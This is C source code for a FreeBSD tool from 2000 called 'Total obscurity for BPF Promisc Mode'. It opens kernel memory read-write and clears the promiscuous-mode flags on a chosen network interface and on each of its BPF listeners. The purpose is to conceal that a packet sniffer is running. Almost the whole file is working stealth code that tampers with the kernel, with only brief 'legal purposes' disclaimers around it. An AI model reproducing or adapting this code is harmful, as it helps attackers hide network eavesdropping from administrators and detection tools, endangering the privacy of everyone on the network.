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- /*
- * Name: Total obscurity for BPF Promisc Mode
- * Date: Sat Mar 25 16:40:12 2000
- * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
- *
- * SoftProject 2000 - Digital Sekurity for Y2k
- * Sikurezza.org - Italian Security MailingList
- *
- * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
- * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
- *
- * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #4: Fri Mar i386
- *
- * Give more obscurity of P53-10 tools... note here as in apk's code if we
- * change IFF_PROMISC in ifnet structure ....
- * when your System calls a ioctl(SIOCSIFFLAGS) for that interface, it invokes
- * if_ioctl() and allframes bit for that device will be disabled because test
- * in init function is done for example in this way:
- *
- * if(ifp->if_flags & IFF_PROMISC) {
- * AL_SETBIT(sc, AL_NETCFG, AL_NETCFG_RX_PROMISC);
- * } else {
- * AL_CLRBIT(sc, AL_NETCFG, AL_NET_CFG_RX_PROMISC);
- * }
- *
- * SIOCSIFFLAGS is not the only situation for a call to init function for that
- * device (see BFi-8 for further information)
- *
- * This code was written in order to test a my tool ... Modification or use of
- * this source code is intended only for legal purposes, It was coded for no
- * malicious aims.. perhaps it doesn't work ;)
- *
- *
- * Compile with: cc obscura.c -lkvm
- *
- */
-
-
- #include <stdio.h>
- #include <string.h>
- #include <sysexits.h>
- #include <err.h>
- #include <fcntl.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <net/if.h>
- #include <net/if_var.h>
- #include <net/bpfdesc.h>
- #include <nlist.h>
- #include <kvm.h>
-
- #define Error(x) errx(EX_UNAVAILABLE, x);
-
- void usage __P((char *));
- void bpf_zero __P((kvm_t *, struct ifnet *));
-
- struct nlist list[] = {
- {"_ifnet"},
- {NULL}
- };
-
- int
- main(int argc, char **argv)
- {
- struct ifnethead ifh;
- struct ifnet ifc, *ifp;
- char ifname[IFNAMSIZ];
- kvm_t *kd;
-
- if(argc!=2)
- usage(argv[0]);
-
- if(!(kd=kvm_open(NULL, NULL, NULL, O_RDWR, NULL)))
- Error("kvm_open()");
-
- if(kvm_nlist(kd, list) == -1)
- Error("kvm_nlist()");
-
- if(!list[0].n_value)
- Error("checking n_value");
-
- kvm_read(kd, list[0].n_value, &ifh, sizeof ifh);
- ifp = ifh.tqh_first;
-
- for(;ifp;ifp = ifc.if_link.tqe_next) {
-
- kvm_read(kd, (u_long)ifp, &ifc, sizeof ifc);
- kvm_read(kd, (u_long)ifc.if_name, ifname, sizeof ifname);
- snprintf(ifname, IFNAMSIZ, "%s%d", ifname, ifc.if_unit);
-
- if(!strcmp(ifname, argv[1])) {
- printf("%s found ... promisc mode ", ifname);
- if(ifc.if_flags & IFF_PROMISC) {
- printf("(found)\n");
- if(ifc.if_pcount)
- /* I clear this ...
- * you can do a perfect thing by changing this
- * in bpf_zero() decreasing for each descriptor
- * found ...
- */
- ifc.if_pcount = 0;
- ifc.if_flags &= ~IFF_PROMISC;
- kvm_write(kd, (u_long)ifp, &ifc, sizeof ifc);
- printf("BPF Analysis for %s interface\n",
- ifname);
- bpf_zero(kd, &ifc);
- }else
- printf("(not found)\n");
-
- } else
- printf("skipping -> %s\n", ifname);
-
-
- }
-
- kvm_close(kd);
- return 0;
-
- }
-
- void
- usage(char *name)
- {
- printf("FreeBSD - Promisc Total Obscurity\n"
- "Warning this tool is intended for testing of ks...\n"
- "Don't use it for illegal purposes\n\n"
- "pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]\n\n");
- printf("Usage: %s interface\n", name);
- exit(1);
- }
-
- void
- bpf_zero(kvm_t *kd, struct ifnet *ifp)
- {
- struct bpf_if ibpf;
- struct bpf_d dbpf, *pdbpf;
- register int count = 0;
-
- kvm_read(kd, (u_long)ifp->if_bpf, &ibpf, sizeof ibpf);
- pdbpf = ibpf.bif_dlist;
-
- for(; pdbpf; pdbpf = dbpf.bd_next) {
- kvm_read(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
- printf("#%d listener has %spromisc mode enabled",
- ++count, (!dbpf.bd_promisc) ? "no " : " ");
-
- if(dbpf.bd_promisc) {
- printf(" (changed)");
- dbpf.bd_promisc = 0;
- kvm_write(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
- }
-
- putchar('\n');
- }
- }
-